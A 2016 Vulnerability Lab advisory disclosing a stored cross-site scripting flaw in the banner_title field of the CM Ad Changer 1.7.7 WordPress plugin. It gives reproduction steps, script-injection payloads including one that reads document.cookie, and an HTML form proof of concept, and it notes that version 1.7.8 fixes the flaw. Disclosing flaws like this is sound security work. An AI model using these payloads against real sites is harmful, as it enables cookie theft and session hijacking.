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CM Ad Changer 1.7.7 Wordpress Plugin - Cross Site Scripting Web Vulnerability

From: Vulnerability Lab <research () vulnerability-lab com>
Date: Mon, 13 Jun 2016 16:44:55 +0200
Document Title:
===============
CM Ad Changer 1.7.7 Wordpress Plugin - Cross Site Scripting Web Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1856


Release Date:
=============
2016-06-13


Vulnerability Laboratory ID (VL-ID):
====================================
1856


Common Vulnerability Scoring System:
====================================
3.5


Product & Service Introduction:
===============================
Are you running various marketing ad campaigns? Care to check the return of your investment? Are you really getting the 
message out there, 
and is it working? The CM Ad Changer plugin manages, tracks and provides reports on how well your advertising campaigns 
are running. Designed 
specifically for eCommerce, the CM Ad-Changer can be used for cross-website banner advertising promotions, managing 
discount sale events and 
improving your product banner ads. 

(Copy of the Homepage: https://ad-changer.cminds.com/ )


Abstract Advisory Information:
==============================
An indepedent vulnerability laboratory researcher discovered a stored cross site scripting web vulnerability in the 
official CM Ad Changer v1.7.7 Wordpress Plugin.


Vulnerability Disclosure Timeline:
==================================
2016-06-13: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
CreativeMinds
Product: CM Ad Changer - Wordpress Plugin (Web-Application) 1.7.7


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Technical Details & Description:
================================
A stored cross site scripting web vulnerability has been discovered in the official CM Ad v1.7.7 Wordpress Plugins.
The web vulnerability allows remote attackers to inject own malicious script codes to the application-side of the 
service.

The cross site vulnerability is located in the `banner_title` parameter of the `cmac_campaigns` module POST method 
request.
Remote attackers are able to inject own malicious script codes to the cmac_campaigns add POST method request.

The security risk of the vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count 
of 3.5. 
Exploitation of the web vulnerability requires a low privileged web-application account with restricted access and low 
user interaction. 
Successful exploitation of the vulnerabilities results in persistent phishing, session hijacking, persistent external 
redirect to malicious 
sources and application-side manipulation of affected or connected module context.

Request Method(s):
                                [+] POST

Vulnerable Module(s):
                                [+] cmac_campaigns

Vulnerable Parameter(s):
                                [+] banner_title


Proof of Concept (PoC):
=======================
The stored cross site vulnerability can be exploited by low privileged user accounts with low user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to 
continue.


Manual steps to reproduce the vulnerability ...
1. Go to CM Ad changers - Campaigns
2. Create a Campaign. Enter whatever you want in Campaign settings, in the next tab "Campaign Banners", select an Image 
in Campaign images and in Banner Title enter this payload
</script><script>confirm(/aaditya/)</script>
</script><script>confirm(document.cookie)</script>
3. Enter Save & the payload triggers to execute everytime you return to the module
4. Successful reproduce of the web vulnerability!


PoC: Exploitation
<html>
  <body>
    <h1> Click The button below. POC By Aaditya Purani:: CM AD Changer 1.7.7 </h1>   
    <form 
action="http://127.0.0.1/wordpress/wp-admin/admin.php?page=cmac_campaigns&action=edit&campaign_id={TARGET_ID}"; 
method="POST">
      <input type="hidden" name="campaign_id" value="1" />
      <input type="hidden" name="title" value="Hacked by Aaditya" />
      <input type="hidden" name="comment" value="" />
      <input type="hidden" name="link" value="" />
      <input type="hidden" name="status" value="on" />
      <input type="hidden" name="banner_display_method" value="selected" />
      <input type="hidden" name="banner_filename[]" value="yourpicvalue.jpg" />
      <input type="hidden" name="banner_title[]" value="</script><script>confirm(/aaditya/)</script>" />
      <input type="hidden" name="banner_title_tag[]" value="" />
      <input type="hidden" name="banner_tag[]" value="" />
      <input type="hidden" name="banner_link[]" value="" />
      <input type="hidden" name="banner_weight[]" value="0" />
      <input type="hidden" name="selected_banner" value="yourpicvalue.jpg" />
      <input type="hidden" name="submit" value="Save" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

Note: This will Trigger Stored XSS at banner_title Parameter.


Solution - Fix & Patch:
=======================
9th June - Public fix released & changelog updated 1.7.8


Security Risk:
==============
The security risk of the stored cross site scripting web vulnerability in the wordpress plugin is estimated as medium. 
(CVSS 3.5)


Credits & Authors:
==================
Aaditya Purani - (https://aadityapurani.com) [http://www.vulnerability-lab.com/show.php?user=Aaditya%20Purani]


Disclaimer & Information:
=========================
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or incidental damages so the foregoing 
limitation may not apply. We do not approve or encourage anybody to break any licenses, policies, deface websites, hack 
into databases or trade with stolen data.

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